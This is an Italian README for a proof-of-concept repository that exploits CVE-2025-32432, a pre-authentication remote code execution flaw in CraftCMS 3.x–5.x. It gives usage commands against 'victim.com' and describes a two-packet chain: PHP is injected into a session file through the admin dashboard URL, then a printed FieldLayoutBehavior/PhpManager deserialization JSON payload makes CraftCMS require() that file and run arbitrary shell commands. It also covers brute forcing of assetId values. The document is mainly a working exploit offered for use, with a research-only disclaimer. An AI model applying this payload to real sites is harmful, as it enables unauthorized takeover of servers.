
Exploit Python per CVE-2025-32432, una RCE pre-autenticazione nell'endpoint asset-transform di CraftCMS. Include una catena a due pacchetti per eseguire comandi shell arbitrari tramite gadget di deserializzazione.
Esecuzione di codice remoto pre-autenticazione per CraftCMS 3.x / 4.x / 5.x
Manutentore PoC: C.T.Y. (solo per ricerca)
Scoperta vulnerabilità: Nicolas Bourras – Orange Cyberdefense
Ispirazione PoC aggiuntiva: ricerche SensePost e script pubblico di Chirag Artani
Questo repository contiene due exploit Python complementari per CVE-2025-32432 — una RCE pre-autenticazione nell'endpoint asset-transform di CraftCMS.
| Script | Scopo |
|---|
craftcms_rce_php_check.py | Sonda di sicurezza — invia una richiesta usando il gadget FnStream per verificare se PHP arbitrario viene eseguito (stampa l'output di phpinfo()). Ideale per conferma a basso impatto. |
craftcms_final_payload.py | Exploit completo — catena a due pacchetti: prima inietta PHP tramite FnStream, poi sfrutta il gadget FieldLayoutBehavior → PhpManager per eseguire qualsiasi comando shell. |
Il secondo script è quello descritto in questo README.
Il primo script è incluso per completezza e validazione rapida, per gentile concessione di Chirag Artani — vedi Crediti.
Il nome del file dello script è stato adattato per chiarezza; struttura e idea originali di Chirag Artani.
Solo per test di sicurezza educativi e autorizzati.
Usare questi script contro sistemi senza autorizzazione scritta esplicita è illegale e non etico.
assetId (euristica 404 → 302)-c/--cmd)pip install -r requirements.txt):
requestsurllib3# Clona il repo
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt
# Installa le dipendenze
pip install -r requirements.txt
python3 craftcms_rce_php_check.py -u https://victim.com
Se vedi l'output di phpinfo(), il target è molto probabilmente sfruttabile.
python3 craftcms_final_payload.py -u https://victim.com -c "id"
| Opzione | Forma lunga | Descrizione | Obbligatorio |
|---|---|---|---|
-u | --url | URL base del target (senza slash finale) | ✅ |
-c | --cmd | Comando shell da eseguire | ✅ |
-a | --asset | assetId noto valido | ❌ |
-s | --scan-max | Limite di brute force (default: 300) | ❌ |
/index.php?p=admin/dashboard&a=<?=...?> scrive PHP arbitrario in /tmp/sess_<ID>.actions/assets/generate-transform con un gadget FieldLayoutBehavior → PhpManager forza CraftCMS a eseguire require() del file di sessione, eseguendo il codice.{
"assetId": 11,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/tmp/sess_<SessionID>"
}
]
}
}
}
assetId)phpinfo (craftcms_rce_php_check.py) e prime idee di ricerca
Il nome del file dello script è stato adattato per chiarezza; struttura e idea originali di Chirag Artani.Avviso di responsabilità: Qualsiasi rischio legale o danno derivante dall'uso di questo codice è di esclusiva responsabilità dell'utente.
Licenza MIT — vedi LICENSE.
| File | Scopo |
|---|---|
craftcms_rce_php_check.py | Verifica di esecuzione PHP: una singola richiesta, utilizza FnStream per attivare phpinfo(), verificando a basso impatto se il target è vulnerabile.Il nome del file è stato adattato per chiarezza; struttura e idea originali di Chirag Artani. |
craftcms_final_payload.py | Exploit completo a due pacchetti: prima inietta PHP con FnStream, poi esegue comandi arbitrari tramite PhpManager. |
Solo per uso didattico e test autorizzati. Operare senza autorizzazione è illegale.
python3 craftcms_rce_php_check.py -u https://target
python3 craftcms_final_payload.py -u https://target -c "id"
I parametri sono uguali alla versione inglese.
phpinfo
Il nome del file è stato adattato per chiarezza; struttura e idea originali di Chirag Artani.Qualsiasi rischio legale o danno derivante dall'uso di questo codice è di esclusiva responsabilità dell'utente.
Licenza MIT